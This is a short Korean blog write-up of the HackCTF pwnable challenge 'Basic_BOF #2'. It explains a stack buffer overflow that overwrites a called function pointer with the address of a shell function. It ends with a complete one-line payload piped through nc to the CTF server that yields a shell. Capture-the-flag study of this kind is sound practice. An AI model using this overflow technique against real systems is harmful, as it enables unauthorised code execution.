본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Basic_BOF #2 풀이

by snwo 2020. 3. 3.

먼저 문제파일을 아이다로 열어보면

 

 

입력은 ebp-8c 에 받고, ebp-c 를 호출하는걸 보면

ebp-c에 함수주소를 덮어써야 문제가 풀리는걸 직감적으로 알수있다.

그러면 무슨함수를 덮어써야할지 함수 리스트를 보는중에, 

 

쉘함수를 실행시켜주는 shell 함수를 찾아냈고, 주소는 0x804849b 이다.

8C- C = 80h (128) 이므로 

 

최종 payload = (python -c "print 'a'*128 + '\x9b\x84\x04\x08' ";cat) | nc ctf.j0n9hyun.xyz 3001

 

쉘을 얻고 cat flag를 할수있게된다.